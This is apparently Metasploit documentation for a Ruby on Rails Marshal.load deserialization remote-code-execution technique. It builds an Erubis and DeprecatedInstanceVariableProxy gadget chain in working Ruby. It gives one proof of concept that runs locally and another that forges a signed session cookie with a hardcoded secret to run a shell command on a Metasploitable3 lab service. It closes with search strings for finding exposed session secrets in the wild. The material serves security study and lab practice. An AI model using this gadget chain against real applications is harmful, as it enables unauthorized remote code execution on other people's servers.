Ruby on Rails Deserialization Remote Code Execution Technique

This documentation explains how to gain code execution against a deserialization vulnerability on Ruby-on-Rails.

Before we talk about deserialization, we should understand what serialization is, and why use it.

Serialization is a process of turning some object into data (such as JSON) that can be used later. This allows applications to store objects on the file system, and/or send them over a network. Deserialization is a process that turns data into an object in order to be used in an application.

Deserialization sometimes can be unsafe for the application because if the serialized data is injected with a malicious object, and gets loaded, code execution could occur. Since serialized data is often used in cookies, application state, network data, it should not be trusted.

Ruby's Serialization & Deserialization

In Ruby, to serialize data, this is how:

```
json_data = {
  'name' => 'sinn3r'
}

serialized_data = Marshal.dump(json_data)
```

To deserialize, this is how:

```
obj = Marshal.load(serialized_data)
```

The `Marshal.load` method is considered unsafe, because you can load a class into the Ruby process. The following is the C implementation of `Marshal.load`:

```
               static VALUE
marshal_load(int argc, VALUE *argv)
{
    VALUE port, proc;

    rb_check_arity(argc, 1, 2);
    port = argv[0];
    proc = argc > 1 ? argv[1] : Qnil;
    return rb_marshal_load_with_proc(port, proc);
}
```

Crafting the Exploit against Marshal.load

To exploit `Marshal.load`, we take advantage of two things in Ruby: Erubis and DeprecatedInstanceVariableProxy.

Erubis

Erubis is an implementation of eRuby (embedded Ruby). A templating system that embeds Ruby into a text document. It is often used to inject Ruby code in an HTML similiar to support dynamic content.

In Erubis::RubyEvaluator, there is a `@src` instance variable that gets `eval()` at the end of the `result` method, as this code shows:

```
    ## eval(@src) with binding object
    def result(_binding_or_hash=TOPLEVEL_BINDING)
      _arg = _binding_or_hash
      if _arg.is_a?(Hash)
        _b = binding()
        eval _arg.collect{|k,v| "#{k} = _arg[#{k.inspect}]; "}.join, _b
      elsif _arg.is_a?(Binding)
        _b = _arg
      elsif _arg.nil?
        _b = binding()
      else
        raise ArgumentError.new("#{self.class.name}#result(): argument should be
Binding or Hash but passed #{_arg.class.name} object.")
      end
      return eval(@src, _b, (@filename || '(erubis'))
    end
```

To us, we can set the `@src` instance variable with our Ruby code, and we have a malicious Erubis object:

```
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "puts 'This code is up to no good.'"
```

Knowing this, we still need to find a way to execute this Erubis object.

DeprecatedInstanceVariableProxy

In ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy, we come across the `#target` method that looks like this:

```
    def target
        @instance.__send__(@method)
    end
```

To us, if we can set `@instance` as our malicious Erubis object, and set `@method` as the `#result` method (and that `#result` actually `eval()` our code), we can use DeprecatedInstanceVariableProxy to execute our malicious Erubis object.

To trigger the `#target` method to be called, either we can use `#method_missing`:

```
        def method_missing(called, *args, &block)
          warn caller, called, args
          target.__send__(called, *args, &block)
        end
```

Or the `#inspect` method:

```
      def inspect
        target.inspect
      end
```

Code Execution via #method_missing

The way to trigger `#method_missing` is by **using pretty much any valid method** on the malicious object.

However, there is sort of a catch: you have to make sure the `@deprecator` instance variable isn't nil. If it is, then you have to find a class or module that also defines a `#warn` method, and fake it in the exploit:

```
# Mock Erubis because we don't want to execute code while crafting the exploit
module Erubis;class Eruby;end;end
# Mock ActiveSupport too
```

```
module ActiveSupport;module Deprecation;class
DeprecatedInstanceVariableProxy;end;end;end

# This is our fake object that mocks what the vulnerable app has.
module FakeObject
  def warn(a, msg)
  end
end

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \\"puts 'Code execution, weeee!'; puts caller
* \\\\\\"\\\\n\\\\\\"\\"

fake_obj = Object.allocate
fake_obj.extend(FakeObject)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@deprecator, fake_obj
```

The vulnerable application basically would have the real "FakeObject":

```
module FakeObject
  def warn(a, msg)
  end
end

data = Marshal.load(dump)
data['exploit'].to_s
```

In the above example, when `#to_s` is called, `#method_missing` gets triggered:

```
$ ruby test.rb
Code execution, weeee!
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/erubis-2.7.0/lib/erubis/evaluator.rb:65:in
`eval'
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/erubis-2.7.0/lib/erubis/evaluator.rb:65:in
`result'
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/activesupport-
4.2.10/lib/active_support/deprecation/proxy_wrappers.rb:88:in `target'
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/activesupport-
4.2.10/lib/active_support/deprecation/proxy_wrappers.rb:24:in `method_missing'
test.rb:111:in `<main>'
```

Code Execution via #inspect

The way to call `#inspect` is by **causing an exception**, which may happen if the vulnerable application isn't using the object for some reason. For example: NoMethodError.

The `#inspect` method will end up calling `#target`, which has `@instance` that we control (our malicious Erubis object).

If code execution is successful, the code path would looke something like this callstack:

```
$ ruby test.rb
test.rb:97:in `<main>': Code execution, weeee!
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/erubis-2.7.0/lib/erubis/evaluator.rb:65:in
`eval'
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/erubis-2.7.0/lib/erubis/evaluator.rb:65:in
`result'
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/activesupport-
4.2.10/lib/active_support/deprecation/proxy_wrappers.rb:88:in `target'
/Users/wchen/.rvm/gems/ruby-2.4.1/gems/activesupport-
4.2.10/lib/active_support/deprecation/proxy_wrappers.rb:18:in `inspect'
/Users/wchen/.rvm/gems/ruby-2.4.1@global/gems/did_you_mean-
1.1.0/lib/did_you_mean/core_ext/name_error.rb:10:in `inspect'
/Users/wchen/.rvm/gems/ruby-2.4.1@global/gems/did_you_mean-
1.1.0/lib/did_you_mean/core_ext/name_error.rb:10:in `to_str'
/Users/wchen/.rvm/gems/ruby-2.4.1@global/gems/did_you_mean-
1.1.0/lib/did_you_mean/core_ext/name_error.rb:10:in `to_s'
/Users/wchen/.rvm/gems/ruby-2.4.1@global/gems/did_you_mean-
1.1.0/lib/did_you_mean/core_ext/name_error.rb:10:in `to_s'
test.rb:1:in `message'
undefined method `my_imaginary_method' for {"a"=>"some value",
"exploit"=>nil}:Hash (NoMethodError)
```

Proof of Concept

The following example demonstrates how to gain code execution via the `#inspect` approach.

Notice that:

1. We are overriding Erubis and ActiveSupport because we don't want to execute our payload (`@src`) while crafting the exploit.
2. If this was in Metasploit Framework, the serialized object would end up being under the context of Metasploit Framework. We want to avoid that, therefore we want to craft this malicious object in a separate Ruby process.

```
# Create our malicious serialized object.
# While crafting this, we want to avoid executing the malicious code
```

```
exploit = %Q|
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class
DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \\"puts 'Code execution, weeee!'; puts caller
* \\\\\\"\\\\n\\\\\\"\\"

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result

hash = {
    'a' => 'some value',
    'exploit' => proxy
}

print Marshal.dump(hash)
|

dump = `ruby -e "#{exploit}"`

# From here below, this basically mimics a vulnerable application.
# As you can see, the vulnerablel app should at least do the following for us to
get code execution:
# 1. Deserialize our serialized object.
# 2. Use the deserialized object.

data = Marshal.load(dump)
data.my_imaginary_method
```

Metasploitable3

The Linux version of Metasploitable3 has a Sinatra service that is vulnerable to deserialization exploitation due to an exposed cookie secret.

Here is a proof-of-concept to exploit that:

```
#!/usr/bin/env ruby

#
# This PoC will inject Ruby code in our vulnerable app.
# It will run the system command "id", and save the output in /tmp/your_id.txt
#
```

```
require 'openssl'
require 'cgi'
require 'net/http'

SECRET = "a7aebc287bba0ee4e64f947415a94e5f"

module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class
DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"

session = { 'session_id' => '', 'exploit' => proxy }

dump = [ Marshal.dump(session) ].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"

http = Net::HTTP.new('127.0.0.1', 8181)
req = Net::HTTP::Get.new('/')
req['Cookie'] = cookie
res = http.request(req)
puts "Done"
```

Discovering Rails Deserialization Vulnerabilities in the Wild

- Search for set :session_secret
- Search for use Rack::Session::Cookie secret
- Search for export SESSION_SECRET

References

- Rack::Session::Cookie code
- DeprecatedInstanceVariableProxy code
- DeprecatedInstanceVariableProxy documentation
- How to Hack a Rails App Using its Secret Token
- Github Enterprise Remote Code Execution

- Rails 3.2.10 Remote Code Execution
- Session Secret